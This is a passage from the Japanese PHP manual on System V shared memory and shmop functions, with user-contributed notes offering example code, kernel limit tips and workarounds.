$shmid2 = sem_get($SHM_KEY, 1024, 0644 | IPC_CREAT);
$shmid3 = sem_get($SHM_KEY, 1024, 0644 | IPC_CREAT);

$data =  shm_attach($shmid, 1024);
$data2 = shm_attach($shmid2, 1024);
$data3 = shm_attach($shmid3, 1024);

print_r(shm_get_var($data,$inmem));
print_r(shm_get_var($data2,$inmem2));
print_r(shm_get_var($data3,$inmem3));

shm_detach($data);
shm_detach($data2);
shm_detach($data2);
?>

As you can see, test2.php doesn't insert anything into shared memory.. yet it pulls out 3 totally different arrays already stored..

Hope that helps.. took me a bit to get it right.. everyone seems to have their own idea of how shm should be used. lol.

BTW, not sure how the ftok works to be honest, cause I didn't change the __FILE__ to match the file path of test.php or anything.. I would think that the file path out have to be the exact same to work correctly.. oh well, it worked as-is! haha..

- Cecil
php at cytrax dot de 18-Jan-2002 08:36
The memsize needed for shared memory (tested on linux system) can be calculated with:

For each varialbe you want to store: 24 Bytes
+ serialized var-size (see below) alligned by 4 Bytes
+ 16 Bytes

For a update of a var with the same key, the memory for the old var will be needed extra.
koester at x-itec dot de 21-Mar-2001 12:41
4194304 means 4 MB and NOT 4 GB for shared memory on FreeBSD. You can increase the shared memory at runtime if you like.
lew at persiankitty dot com 25-Jan-2001 04:30
Finding out shared memory kernel settings in FreeBSD:

sys1# sysctl -a | grep -i SHM

kern.ipc.shmmax: 4194304
kern.ipc.shmmin: 1
kern.ipc.shmmni: 96
kern.ipc.shmseg: 64
kern.ipc.shmall: 1024
kern.ipc.shm_use_phys: 0

Shows us that we can allocate a total of 4GB (wow) of shared memory, etc...
webmaster at mail dot communityconnect dot com 10-Sep-1999 01:50
With Sun Solaris 2.x, the MAXIMUM shared memory value allowed is 1,048,576.  The maximum allowed value can be determined using the command /usr/sbin/sysdef.  On Linux, there does not seem to be any system enforced maximum size.  To change the maximum allowed size on Solaris 2.x, use set shmsys:shminfo_shmmax=[new value].
h dot raaf at i-k-c dot net 25-Mar-1999 05:40
Notice that 'int key' for shared-memory is shared with the keys used for semaphores. So you get in trouble when you use the same key value for semaphores and shared memory!
eric at superstats dot com 12-Feb-1999 07:04
Objects are stored serialized in shm_put_var, so to find a value for memsize, you can use strlen(serialize($object_to_store_in_shm)).


共有メモリセグメントへの接続を閉じる

  • ≪ shm_attach
  • shm_get_var ≫
  • PHP Manual
  • セマフォ関数
  • 共有メモリセグメントへの接続を閉じる

shm_detach

(PHP 4, PHP 5, PHP 7, PHP 8)

shm_detach — 共有メモリセグメントへの接続を閉じる

説明

shm_detach ( SysvSharedMemory $shm ) : bool

shm_detach() は、 shm_attach() で作成され、 指定した shm を有する共有メモリへの接続を閉じます。 共有メモリは、まだ Unix システム上に存在しており、 データはまだ存在するということを覚えておいてください。

パラメータ

shm

shm_attach() が返す共有メモリセグメント。

返り値

成功した場合に true を、失敗した場合に false を返します。

変更履歴

バージョン | 説明
8.0.0 | 引数 shm は、 SysvSharedMemory クラスのインスタンスを期待するようになりました。 これより前のバージョンでは、リソースが期待されていました。

参考

  • shm_attach() - 共有メモリセグメントを作成またはオープンする
  • shm_remove() - Unix システムから共有メモリを削除する
  • shm_remove_var() - 共有メモリから変数を削除する

User Contributed Notes

There are no user contributed notes for this page.


共有メモリから変数を返す

  • ≪ shm_detach
  • shm_has_var ≫
  • PHP Manual
  • セマフォ関数
  • 共有メモリから変数を返す

shm_get_var

(PHP 4, PHP 5, PHP 7, PHP 8)

shm_get_var — 共有メモリから変数を返す

説明

shm_get_var ( SysvSharedMemory $shm , int $key ) : mixed

shm_get_var() は、 shm で指定した共有メモリセグメントから 変数 key を読みこみます。 読み込んだ変数は、まだ共有メモリに存在します。

パラメータ

shm

共有メモリセグメント。shm_attach() から取得します。

key

変数のキー。

返り値

指定したキーの変数を返します。

変更履歴

バージョン | 説明
8.0.0 | 引数 shm は、 SysvSharedMemory クラスのインスタンスを期待するようになりました。 これより前のバージョンでは、リソースが期待されていました。

参考

  • shm_has_var() - 特定のエントリが存在するかどうかを調べる
  • shm_put_var() - 共有メモリの変数を挿入または更新する

User Contributed Notes

serg at red-sign dot ru 28-Feb-2013 02:38
If any body has problem with shm_get_var();

this code correctly work with boolean-values^
<?php
if(shm_has_var ($this->shm_mem_id, $_varno)){
            $_value = shm_get_var($this->shm_mem_id, $_varno);
        }else{
            $_value = NULL;
        }
?>
hackmac at nowhere dot com 24-Jun-2009 02:19
hello everyone i came up with some sort of solution to the shm_get_var()
returns false on error/returns a boolean false variable problem.

test script

<?php

    error_reporting(E_ALL);
    ini_set('display_errors', '1');

    echo '<pre>';
    echo ini_get('sysvshm.init_mem');

    require_once('ClassShmWrapper.php5');

    $nKey = ftok(__FILE__,'x');

    $myShm = new ClassShmWrapper($nKey);

    $myShm->attachToSegment();

    #$mValue = range(1,rand(3,10));
    #$myShm->nVarKey = count($mrValue);

    #$mValue = FALSE;

    /*
    $mValue = TRUE;
    $myShm->nVarKey = 1;
    $myShm->mVar = $mValue;
    $myShm->putVarToSegment();
    */

    #$myShm->nVarKey = 2;
    $myShm->nVarKey = 1;

    if ($myShm->getVarFromSegment()) {
        echo "found var in shm\n";
    }
    else {
        echo "could NOT find var in shm\n";
    }

    $myShm->detachFromSegment();

    echo "\ndumping " . '$myShm->mVar' . "\n";
    var_dump($myShm->mVar);

?>

class for using the shm_ functions & class for storing boolean values

<?php

    class ClassShmWrapper {

        public $nPermissions;
        public $nKey;
        public $nBytesMemorySize;

        public $nShmId;

        public $nVarKey;
        public $mVar;

        public function __construct($nKey,$nBytesMemorySize=50000,$nPermissions=0666) {

            $this->nKey = $nKey;
            $this->nBytesMemorySize = $nBytesMemorySize;
            $this->nPermissions = $nPermissions;
        }

        public function attachToSegment() {
            $this->nShmId = shm_attach($this->nKey,$this->nBytesMemorySize,$this->nPermissions);
        }

        public function detachFromSegment() {
            shm_detach($this->nShmId);
        }

        public function removeSegment() {
            shm_remove($this->nShmId);
        }

        public function getVarFromSegment() {

            $mVar = NULL;

            if (($mVar = @shm_get_var($this->nShmId,$this->nVarKey)) !== FALSE) {

                $this->mVar = $mVar;

                unset($mVar);

                /*
                    For variables of type boolean we need to access an object property which stores the boolean value.
                    This is needed as shm_get_var() could return FALSE when returning a boolean variable set to FALSE
                    or when a non-existing variable key was tried to access!
                */

                if ($this->mVar instanceof ClassShmBooleanWrapper) {
                    $this->mVar = $this->mVar->bVal;
                }

                return TRUE;
            }
            else {

                return FALSE;
            }

        }

        /**
        * Puts a PHP variable into shared memory (or updates an existing one for the given variable key).
        *
        * @return boolean returns TRUE on success/FALSE on error
        */
        public function putVarToSegment() {

            // cmp -> comment getVarFromSegment()
            if (is_bool($this->mVar)) {

                return shm_put_var($this->nShmId,$this->nVarKey,new ClassShmBooleanWrapper($this->mVar));

            }
            else {
                return shm_put_var($this->nShmId,$this->nVarKey,$this->mVar);
            }

        }

        public function removeVarFromSgement() {

            shm_remove_var($this->nShmId,$this->nVarKey);
        }

    } // end class

    class ClassShmBooleanWrapper {

        public $bVal;

        public function __construct($bVal) {
            $this->bVal = $bVal;
        }

    } // end class

?>
php at pharse dot com 03-Dec-2008 12:05
I was annoyed by this warning when using shm_get_var():

Warning: shm_get_var() [function.shm-get-var]: variable key 2 doesn't exist in PATH_TO_FILE on line 64.

You can suppress the warning by changing the error reporting level. To do this for just the page in question, include the following line:

<?php
    error_reporting(E_ERROR);
?>

For more info: http://us.php.net/error_reporting
ricardophp at yahoo dot com dot br 27-Sep-2008 02:18
A fully functional sample  ...

<?php
echo "<PRE>\n";

define("FOPEN_RESOURCE", 1);

$shm_id = shm_attach(FOPEN_RESOURCE);
if ($shm_id === false) {
    exit("Fail to attach shared memory.\n");
}

$fopen_resource = fopen("/tmp/phpSharedMemory.bin", "w");

$a =  array("Teste1", 1);
if (!shm_put_var($shm_id, $a, $a)) {
    exit("Failed to put var 1 in shared memory $shm_id.\n");
}

echo "F: ".$a[0].":".$a[1]."\n";
$pid = pcntl_fork();

if($pid == -1) {
  die("could not fork\n");
}
else if ($pid) {
    $a = array("Teste2", 3);
    if (!shm_put_var($shm_id, $a, $a)) {
        exit("Failed to put var 1 in shared memory $shm_id.\n");
    }
    echo "P1: ".$a[0].":".$a[1]."\n";
} else {
    sleep(2);
    $a = shm_get_var($shm_id, $a);
    echo "P2: ".$a[0].":".$a[1]."\n";
}
pcntl_wait($status);
exit();
?>
JM 14-May-2005 03:50
To follow up on the posts by anonymous, Bob Van Zant and chris at free-source dot com below (or, as must people inexplicably write, above) regarding the PHP warning and FALSE that shm_get_var returns if the variable key doesn't exist:

My tests (with PHP4.3.4) show that defined() is useless here. Because the function defined(string) checks whether the constant whose name is string exists, the code
<?php
if ( defined(@shm_get_var($mutex, $mutex_key)) {
   ...
}
?>
acts the same ("..." does not get executed) whether the variable is defined or not--unless $mutex_key happens to identify a valid string that happens to be the name of a constant. :)

Rather,
<?php
if ( @shm_get_var($mutex, $mutex_key) === FALSE ) {
   ...
}
?>
works, provided the object that was stored isn't actually FALSE (via <?php shm_put_var($mutex, $mutex_key, FALSE); ?>)

It would be nice to have a completely air-tight solution, though.  D'oh!
06-May-2005 02:01
You will still receive a notice use @:

if(!defined(@shm_get_var($mutex, $mutex_key))) {
       shm_put_var($mutex, $mutex_key, 0);
}
Bob Van Zant 18-Feb-2005 12:05
This seems to work fine to detect the lack of presence of a key in shared memory and then init it to 0 when found:

if(!defined(shm_get_var($mutex, $mutex_key))) {
        shm_put_var($mutex, $mutex_key, 0);
}


特定のエントリが存在するかどうかを調べる

  • ≪ shm_get_var
  • shm_put_var ≫
  • PHP Manual
  • セマフォ関数
  • 特定のエントリが存在するかどうかを調べる

shm_has_var

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

shm_has_var — 特定のエントリが存在するかどうかを調べる

説明

shm_has_var ( SysvSharedMemory $shm , int $key ) : bool

特定のキーが共有メモリセグメント内に存在するかどうかを調べます。

パラメータ

shm

shm_attach() で取得した共有メモリセグメント。

key

変数のキー。

返り値

エントリが存在する場合に true、それ以外の場合に false を返します。

変更履歴

バージョン | 説明
8.0.0 | 引数 shm は、 SysvSharedMemory クラスのインスタンスを期待するようになりました。 これより前のバージョンでは、リソースが期待されていました。

参考

  • shm_get_var() - 共有メモリから変数を返す
  • shm_put_var() - 共有メモリの変数を挿入または更新する

User Contributed Notes

There are no user contributed notes for this page.


共有メモリの変数を挿入または更新する

  • ≪ shm_has_var
  • shm_remove_var ≫
  • PHP Manual
  • セマフォ関数
  • 共有メモリの変数を挿入または更新する

shm_put_var

(PHP 4, PHP 5, PHP 7, PHP 8)

shm_put_var — 共有メモリの変数を挿入または更新する

説明

shm_put_var ( SysvSharedMemory $shm , int $key , mixed $value ) : bool

shm_put_var() は、 指定した key を有する 変数 value の挿入または更新を行います。

shm が有効な SysV 共有メモリではない場合や リクエストを処理するために充分な共有メモリが残っていない場合は (E_WARNING レベルの) 警告を発生させます。

パラメータ

shm

shm_attach() が返す共有メモリセグメント。

key

変数のキー。

value

変数。serialize() がサポートするすべての 型を使うことができます。 通常これは、リソース型と一部の内部オブジェクト (シリアライズできないもの) 以外のすべての型を意味します。

返り値

成功した場合に true を、失敗した場合に false を返します。

変更履歴

バージョン | 説明
8.0.0 | 引数 shm は、 SysvSharedMemory クラスのインスタンスを期待するようになりました。 これより前のバージョンでは、リソースが期待されていました。

参考

  • shm_get_var() - 共有メモリから変数を返す
  • shm_has_var() - 特定のエントリが存在するかどうかを調べる

User Contributed Notes

cong818 at gmail dot com 24-Dec-2012 11:59
seems to me shm_put_var() doesn't work well with an integer key 0. I changed to 1 and it works like a charm.
Jason Lester 21-Dec-2012 09:28
Yes, it is possible to maintain a real level of resource persistence using shared memory. All vars in PHP are stored in common hashtables as zvals, including resource identifiers. There are hashtables available that outlive the request as long as the entire PHP process isn't shut down. All you need is to store the identifiers in such a hashtable and a way to keep track of them and you can receive the original resource.

I don't know why PHP doesn't provide a way of setting/getting persistent resources, but it is likely do to the many types of SAPI's available for it and the fact that not all of them *can* facilitate this, including CGI which still if far from obsolete.

Another problem is that having such access in userspace is bound to create issues where multiple php processes are trying to access the same resource. Looking at it from this angel you can see that there's really no safe way to safely use such getter/setters without a better synchronism scheme in PHP.
orwellophile at spamtrak dot org 06-Apr-2010 04:17
Quote: "Will it ever support resource identifiers like pfsockopen() pointers ...  we run PHP as a Apache Module ... no way to have true persistent sockets"

Sorry, but that doesn't make sense to me... the socket is still persistent, if you wish to resume it, simply call pfsockopen() with the same host and port - and you will get the same socket.  There is no need to pass the actual resource variable.

If there is something amazingly special and unique about each socket, you can do the following - and this should apply to any persistent resource:

To differentiate between or obtain a specific resource - simply serialize/store an index of each resource's unique ID, along with the particulars that make that resource unique.

You can get a unique resource identifier as an integer value like so:

<?php
   $rid = str_replace("Resource id #", "", print_r($fp, true));
   // $rid = 2
?>

As pfsockopen() uses the hostname and port as a unique key to resume a persistent connection, you can add a DNS wildcard, or a number of manual entries in /etc/hosts (or windows equiv.) as follows:

resource-0.host.com  192.168.100.1
resource-1.host.com  192.168.100.1
resource-2.host.com  192.168.100.1
resource-3.host.com  192.168.100.1

Then, after consulting your serialized list of resources, you can connect to a specific resource by using it's resource id.

eg:  $pf = pfsockopen("resource-$rid.host.com", $port, $timeout);

The new resource will be identical to the original in every way.

For file based stream resources you could do something similar with symlinks, or use the next method...

For URL based or other resources with "paths" (I don't know if there *are* persistent functions that involve such things) you could differentiate between them with using extraneous information in the path.  eg:

  http://host.com/resource-4/../script.php
  http://resource4@host.com/script.php
  /tmp/././././file.txt

In the first example, the extraneous "resource-4" would be ignored by the webserver.

In the second, the superfluous username would be ignored by the webserver.  (Something similar for mysql_pconnect could be done with multiple usernames).

And in the the third example, four sequential occurrences of the "do nothing" string "./" would indicate resource #4.

If this isn't enough, then you can use the fact that PHP shared memory resources are themselves interoperable with those created by their .c counterparts.   That allows you to write a thin .c application to handle the dirty work.

Or you could attempt to reconnect to your own webserver, using persistent streams and the methods outlined above, to achieve the end result.   I can't think of an example of where something so extreme would be necessary, but I'm sure it's not outside the realm of possibility.

I personally use an 117 MB binary database, which is stored in shared memory, both from the command line (using a complied .c application), and from the web (via PHP, and ftok()/shmop_open()/shmop_read()).
ygbr at me dot com 12-Oct-2009 02:25
Will it ever support resource identifiers like pfsockopen() pointers?

The main problem is that when we run PHP as a Apache Module we never know in which process the next request will bind to, making impossible to have true persistent socket connections unless we can store the pointer to it or directly open the socket inode with fopen() like functions and retrieve the same resource pointer again.

I thought I could use shm, but it seems that shm doesn't allow o store resource pointers... sad... :(
Hendrik Klindworth 02-Feb-2009 08:28
shm_put_var has no protection against race conditions. If two scripts insert the same key at the same time php might segfault.
jasonrlester at yahoo dot com 25-Apr-2008 12:51
sadly troy is right

the following script will return:

resource(5) of type (stream)
int(0)

<?php

define("FOPEN_RESOURCE", 1);
define("FOPEN_FILEPATH", "/path/to/file");

$fopen_resource = fopen(FOPEN_FILEPATH, "w");

var_dump($fopen_resource);

$shm_id = shm_attach(1);
if ($shm_id === false)
{
    echo "Fail to attach shared memory.\n";
}

if (!shm_put_var($shm_id, FOPEN_RESOURCE, $fopen_resource))
{
    echo "Failed to put var 1 in shared memory $shm_id.\n";
}

$sm_fopen_resource = shm_get_var($shm_id, FOPEN_RESOURCE);
if ($sm_fopen_resource === false)
{
    echo "Failed to retreive fopen_resource from Shared memory\r\n";
}

var_dump($sm_fopen_resource);

if($shm_id) shm_remove($shm_id);
if($fopen_resource) fclose($fopen_resource);

?>
troy 06-Mar-2008 07:02
This isn't entirely accurate. Not all variable types are supported, you can't put a resource variable into shared memory.

When you try to take it out, it will be a zero.
tomlove at gmail dot com 30-Sep-2004 04:53
Use as few variable_keys as you can. With large arrays of data, rather make the array multi-dimensional and store under one variable_key than use variable_key as your index. The benefit is especially noticeable when repeated fetching from the end of the array is necessary and updates are less frequent.


共有メモリから変数を削除する

  • ≪ shm_put_var
  • shm_remove ≫
  • PHP Manual
  • セマフォ関数
  • 共有メモリから変数を削除する

shm_remove_var

(PHP 4, PHP 5, PHP 7, PHP 8)

shm_remove_var — 共有メモリから変数を削除する

説明

shm_remove_var ( SysvSharedMemory $shm , int $key ) : bool

指定したkey を有する変数を共有メモリから削除し、占有するメモリを解放します。

パラメータ

shm

shm_attach() が返す 共有メモリセグメント。

key

変数のキー。

返り値

成功した場合に true を、失敗した場合に false を返します。

変更履歴

バージョン | 説明
8.0.0 | 引数 shm は、 SysvSharedMemory クラスのインスタンスを期待するようになりました。 これより前のバージョンでは、リソースが期待されていました。

参考

  • shm_remove() - Unix システムから共有メモリを削除する

User Contributed Notes

There are no user contributed notes for this page.


Unix システムから共有メモリを削除する

  • ≪ shm_remove_var
  • 共有メモリ ≫
  • PHP Manual
  • セマフォ関数
  • Unix システムから共有メモリを削除する

shm_remove

(PHP 4, PHP 5, PHP 7, PHP 8)

shm_remove — Unix システムから共有メモリを削除する

説明

shm_remove ( SysvSharedMemory $shm ) : bool

shm_remove() は、共有メモリ shm を削除します。 全てのデータは破棄されます。

パラメータ

shm

shm_attach() が返す 共有メモリセグメント。

返り値

成功した場合に true を、失敗した場合に false を返します。

変更履歴

バージョン | 説明
8.0.0 | 引数 shm は、 SysvSharedMemory クラスのインスタンスを期待するようになりました。 これより前のバージョンでは、リソースが期待されていました。

参考

  • shm_remove_var() - 共有メモリから変数を削除する

User Contributed Notes

HansRich 12-Jun-2014 03:17
WARNING: this function WILL NOT destroy the memory segment if there are other processes attached to it, but it will return TRUE anyways!

You will have to try to access the segment again after destroying it to make sure it was relly destroyed.
aaron DURP segura DURP gmail DURP com 19-Aug-2006 04:55
It appears that you must be connected to the shm segment in order to remove it.

<?php
shm_remove($shm);
shm_detach($shm);
?>

works, while

<?php
shm_detach($shm);
shm_remove($shm);
?>

produces "Warning: shm_remove(): The parameter is not a valid shm_identifier ..."
cu at ulakbim dot gov dot tr 29-Dec-1999 08:30
Though it says **shm_identifier** in
  int shm_remove(int shm_identifier);
and
  shm_attach() returns an **id** that that can be used to access the System V...

a snippet like this:
<?php
  $key = 1234;
  $shm=shm_attach($key);
  // do whatever...
  shm_remove($shm);
?>

produces an error like
Warning: 2(which is the value of $shm) is not a existing SysV shared memory key in /usr/cu/web/sema.php on line 44...

The documentation confused me a bit. I thought shm_remove would get the shm handle/id that returns from shm_attach, not the key given to shm_attach. So, use instead:
  shm_remove($key);

which is what is intended indeed.


共有メモリ

  • はじめに
  • インストール/設定
    • 要件
    • インストール手順
    • 実行時設定
    • リソース型
  • 定義済み定数
  • 例
    • 基本的な使用法
  • 共有メモリ関数
    • shmop_close — 共有メモリブロックを閉じる
    • shmop_delete — 共有メモリブロックを削除する
    • shmop_open — 共有メモリブロックを作成またはオープンする
    • shmop_read — 共有メモリブロックからデータを読み取る
    • shmop_size — 共有メモリブロックの大きさを取得する
    • shmop_write — 共有メモリブロックにデータを書き込む
  • Shmop — Shmop クラス

User Contributed Notes

mattcsl at gmail dot com 26-Oct-2013 11:58
thankyou,

this function had a missing comma between test1 and test2 and is fixed below

function get_cache_id($name) {
    // maintain list of caches here
    $id=array(  'test1' => 1,
                'test2' => 2
                );

    return $id[$name];
}
makr at makrit dot net 09-Mar-2013 11:05
shmop made simple:
$test=get_cache('test');
save_cache($test, 'test1', 600);

To save/get cache that easily just save this as cache.php or whatever you see fit:

<?php

function save_cache($data, $name, $timeout) {
    // delete cache
    $id=shmop_open(get_cache_id($name), "a", 0, 0);
    shmop_delete($id);
    shmop_close($id);

    // get id for name of cache
    $id=shmop_open(get_cache_id($name), "c", 0644, strlen(serialize($data)));

    // return int for data size or boolean false for fail
    if ($id) {
        set_timeout($name, $timeout);
        return shmop_write($id, serialize($data), 0);
    }
    else return false;
}

function get_cache($name) {
    if (!check_timeout($name)) {
        $id=shmop_open(get_cache_id($name), "a", 0, 0);

        if ($id) $data=unserialize(shmop_read($id, 0, shmop_size($id)));
        else return false;          // failed to load data

        if ($data) {                // array retrieved
            shmop_close();
            return $data;
        }
        else return false;          // failed to load data
    }
    else return false;              // data was expired
}

function get_cache_id($name) {
    // maintain list of caches here
    $id=array(  'test1' => 1
                'test2' => 2
                );

    return $id[$name];
}

function set_timeout($name, $int) {
    $timeout=new DateTime(date('Y-m-d H:i:s'));
    date_add($timeout, date_interval_create_from_date_string("$int seconds"));
    $timeout=date_format($timeout, 'YmdHis');

    $id=shmop_open(100, "a", 0, 0);
    if ($id) $tl=unserialize(shmop_read($id, 0, shmop_size($id)));
    else $tl=array();
    shmop_delete($id);
    shmop_close($id);

    $tl[$name]=$timeout;
    $id=shmop_open(100, "c", 0644, strlen(serialize($tl)));
    shmop_write($id, serialize($tl), 0);
}

function check_timeout($name) {
    $now=new DateTime(date('Y-m-d H:i:s'));
    $now=date_format($now, 'YmdHis');

    $id=shmop_open(100, "a", 0, 0);
    if ($id) $tl=unserialize(shmop_read($id, 0, shmop_size($id)));
    else return true;
    shmop_close($id);

    $timeout=$tl[$name];
    return (intval($now)>intval($timeout));
}

?>


はじめに

shmop は、共有メモリセグメントを PHP から簡単に読み書きまたは作成、 削除することを可能にする一連の関数です。

User Contributed Notes

There are no user contributed notes for this page.


インストール手順

shmop を使用するには、--enable-shmopパラメータを configure に 指定して PHP をコンパイルする必要があります。

User Contributed Notes

There are no user contributed notes for this page.


リソース型

PHP 8.0.0 より前のバージョンでは、 この拡張機能は、共有メモリブロックを扱う shmop リソースを定義していました。

User Contributed Notes

There are no user contributed notes for this page.


基本的な使用法

例1 共有メモリ操作の概要

<?php

// システムID 0xff3を有する 100 バイトの共有メモリブロックを作成する
$shm_id = shmop_open(0xff3, "c", 0644, 100);
if (!$shm_id) {
    echo "共有メモリセグメントを作成できませんでした。\n";
}

// 共有メモリのブロック長を得る
$shm_size = shmop_size($shm_id);
echo "SHM ブロックサイズ: ".$shm_size. " が作成されました。\n";

// 共有メモリにテスト用の文字列を書き込んでみる
$shm_bytes_written = shmop_write($shm_id, "my shared memory block", 0);
if ($shm_bytes_written != strlen("my shared memory block")) {
    echo "データ全体を書き込めませんでした。\n";
}

// その文字列を再び読み込んでみる
$my_string = shmop_read($shm_id, 0, $shm_size);
if (!$my_string) {
    echo "共有メモリブロックから読み込めません。\n";
}
echo "共有メモリ内のデータは次のようになります: ".$my_string."\n";

// ブロックを削除し、共有メモリセグメントを閉じる
if (!shmop_delete($shm_id)) {
    echo "共有メモリブロックに削除用のマークを付けることができません。";
}
shmop_close($shm_id);

?>

User Contributed Notes

Anonymous 08-Jan-2018 02:27
Simple class for SHMOP implementation.

# Warning #

You can write/read only one direction. If you try read and write at the same time you get corrupt data. (Its works like STD in/out)
If you need bi-directional communication create 2 instance of shmop class.
Don't try attach more than one readers or writers for some shmid, you get corrupt data. This class use kludged spinlocks for improve speed, and not real atomic operations. You can add semaphore with flock, but it very slow. (~x3)

Benchmark:

Reads per sec: 6316 Data size per sec: 6.17 gb

<?php
########################
# shmopwriter.php
########################

$blockSize = 1024 * 1024 * 100;
$data = random_bytes($blockSize);

try
{
    $shm = new SHMOP('shmopwriter.php', 'c', 644, $blockSize);

    while(1)
    {
        if(!$shm->canWrite())
            continue;

        $shm->write($data);
    }

    $shm->close();

} catch (Exception $e) {
     echo 'Error: ',  $e->getMessage(), PHP_EOL;
     exit;
}

########################

########################
# shmopreader.php
########################

$blockSize = 1024 * 1024 * 100;
$shm = new SHMOP('shmopwriter.php', 'c', 644, $blockSize);
$readsMT = 0;
$readsPS = 0;

while(!$shm->eof())
{
    $times = microtime(true);

    if(($data = $shm->read()) === false)
        continue;

    $readsPS++;
    $readsMT += round(((microtime(true) - $times ) * 1000), 3);

    if($readsMT > 1000)
    {
        echo 'Reads per sec: ', $readsPS, ' Data size per sec: ', convert($blockSize * $readsPS), PHP_EOL;
        $readsPS = 0;
        $readsMT = 0;
    }
}

function convert($size)
{
    $unit=array('b','kb','mb','gb','tb','pb');
    return @round($size/pow(1024,($i=floor(log($size,1024)))),2).' '.$unit[$i];
}
########################

########################
# shmop.class.php
########################

class SHMOP
{
    private $shmId;
    private $shmHeaderSize;
    private $shmHeaderOffset;
    private $shmBlockSize;
    private $shmMaxBlockSize;

    function __construct(string $pathname, string $flags, int $mode, int $size)
    {
        $this->shmHeaderSize = strlen($size);
        $this->shmHeaderOffset = $this->shmHeaderSize + 1;
        $this->shmMaxBlockSize = $size;
        $this->shmBlockSize = $size + $this->shmHeaderOffset + 1;

        $this->shmId = shmop_open(ftok($pathname, 's'), $flags, $mode, $this->shmBlockSize);

        if(!$this->shmId)
            throw new Exception('shmop_open error');
    }

    function __destruct()
    {
        if(!$this->shmId)
            return;

        $this->close();
    }

    public function read()
    {
        // Check SpinLock
        if(shmop_read($this->shmId, 0, 1) === "\0")
            return false;

        // Get Header
        $dataSize = (int)shmop_read($this->shmId, 1, $this->shmHeaderSize);

        $data = shmop_read($this->shmId, $this->shmHeaderOffset, $dataSize);
        // release spinlock
        shmop_write($this->shmId, "\0", 0);
        return $data;
    }

    public function write(string $data)
    {
        // Check SpinLock
        if(shmop_read($this->shmId, 0, 1) !== "\0")
            return false;

        $dataSize = strlen($data);

        if($dataSize < 1)
            throw new Exception('dataSize < 1');

        if($dataSize > $this->shmMaxBlockSize)
            throw new Exception('dataSize > shmMaxBlockSize: '. $this->shmMaxBlockSize);

        // pack very slow use kludge
        $dataSize .= "\0";

        // Write Header
        shmop_write($this->shmId, $dataSize, 1);
        // Write Data
        shmop_write($this->shmId, $data, $this->shmHeaderOffset);
        // Write spinlock
        shmop_write($this->shmId, "\1", 0);
        return true;
    }

    public function eof()
    {
        return (shmop_read($this->shmId, 0, 1) === "\2") ? true : false;
    }

    public function sendeof()
    {
        // Check SpinLock
        if(shmop_read($this->shmId, 0, 1) !== "\0")
            return false;

        shmop_write($this->shmId, "\2", 0);
        return true;
    }

    public function canWrite()
    {
        // Check SpinLock
        return (shmop_read($this->shmId, 0, 1) === "\0") ? true : false;
    }

    public function close()
    {
        return @shmop_close($this->shmId);
    }

    private function delete()
    {
        $del = @shmop_delete($this->shmId);

        if($del === false)
            return false;

        return @shmop_close($this->shmId);
    }
}

?>


共有メモリ関数

目次

  • shmop_close — 共有メモリブロックを閉じる
  • shmop_delete — 共有メモリブロックを削除する
  • shmop_open — 共有メモリブロックを作成またはオープンする
  • shmop_read — 共有メモリブロックからデータを読み取る
  • shmop_size — 共有メモリブロックの大きさを取得する
  • shmop_write — 共有メモリブロックにデータを書き込む

User Contributed Notes

Arikania 06-May-2018 04:11
The shmop implementation as described in this help page is acttually merely a ramdisk / tmpfs that exists only within php, and even only on the linux servers. Or am I missing something?

On windows, the very same functionality can easily be achieved by creating such disk.

In fact, on my own server, I do use a tmpfs disk instead of the - as it appears to me - limited shmop feature.

Why not implement a $_SHARED or $_MUTUAL SuperGlobal in which we can create variables at will, and that is shared by all connections?

This would greatly improve performance of many PHP applications, and could save a lot of burden on server memory. Especially if those variables could be classes containing functions.

You could implement that it is up to the programmer to guard atomicity.

Such superglobal would be feasible on windows servers as well.
joeldg at gmail.com 09-Feb-2006 11:28
I wrote a php memcache back in 2003 as a sort of proof of concept
it is use on a few machines for doing heavy page load caching...
it works very well.
Following are some of the core functions I made

<?php
###############################################
#### shared mem functions
/*
    for debugging these
        use `ipcs` to view current memory
        use `ipcrm -m {shmid}` to remove
        on some systems use `ipcclean` to clean up unused memory if you
        don't want to do it by hand
*/
###############################################
    function get_key($fsize, $file){
        if(!file_exists(TMPDIR.TMPPRE.$file)){
            touch(TMPDIR.TMPPRE.$file);
        }
        $shmkey = @shmop_open(ftok(TMPDIR.TMPPRE.$file, 'R'), "c", 0644, $fsize);
        if(!$shmkey) {
                return false;
        }else{
            return $shmkey;
        }//fi
    }
    function writemem($fdata, $shmkey){
        if(MEMCOMPRESS && function_exists('gzcompress')){
            $fdata = @gzcompress($fdata, MEMCOMPRESSLVL);
        }
        $fsize = strlen($fdata);
        $shm_bytes_written = shmop_write($shmkey, $fdata, 0);
        updatestats($shm_bytes_written, "add");
        if($shm_bytes_written != $fsize) {
                return false;
        }else{
            return $shm_bytes_written;
        }//fi
    }
    function readmem($shmkey, $shm_size){
        $my_string = @shmop_read($shmkey, 0, $shm_size);
        if(MEMCOMPRESS && function_exists('gzuncompress')){
            $my_string = @gzuncompress($my_string);
        }
        if(!$my_string) {
                return false;
        }else{
            return $my_string;
        }//fi
    }
    function deletemem($shmkey){
        $size = @shmop_size($shmkey);
        if($size > 0){ updatestats($size, "del"); }
        if(!@shmop_delete($shmkey)) {
            @shmop_close($shmkey);
                return false;
        }else{
            @shmop_close($shmkey);
            return true;
        }
    }
    function closemem($shmkey){
        if(!shmop_close($shmkey)) {
                return false;
        }else{
            return true;
        }
    }
    function iskey($size, $key){
        if($ret = get_key($size, $key)){
            return $ret;
        }else{
            return false;
        }
    }
################################################
?>
Roy <roy AT enhost.com> 28-Jan-2006 09:58
I have written a script to highlight the superiority of shared memory storage.
Although it doesn't use the shmop function, the underlying concept is similar.
'/shm_dir/' is a tmpfs directory, which is based on shared memory, that I have mounted on the server.

Below is the result on an Intel Pentium VI 2.8 server:

IO test on 1000 files
IO Result of Regular Directory : 0.079015016555786
IO Result of Shared Memory Directory : 0.047761917114258

IO test on 10000 files
IO Result of Regular Directory : 3.7090260982513
IO Result of Shared Memory Directory : 0.46256303787231

IO test on 40000 files
IO Result of Regular Directory : 117.35703110695 seconds
IO Result of Shared Memory Directory : 2.6221358776093 seconds

The difference is not very apparent nor convincing at 100 files.
But when we step it up a level to 10000 and 40000 files, it becomes pretty obvious that Shared Memory is a better contender.

Script courtesy of http://www.enhost.com

<?php
set_time_limit(0);

// Your regular directory. Make sure it is write enabled
$setting['regular_dir'] =  '/home/user/regular_directory/';

// Your shared memory directory.
$setting['shm_dir'] =  '/shm_dir/';

// Number of files to read and write
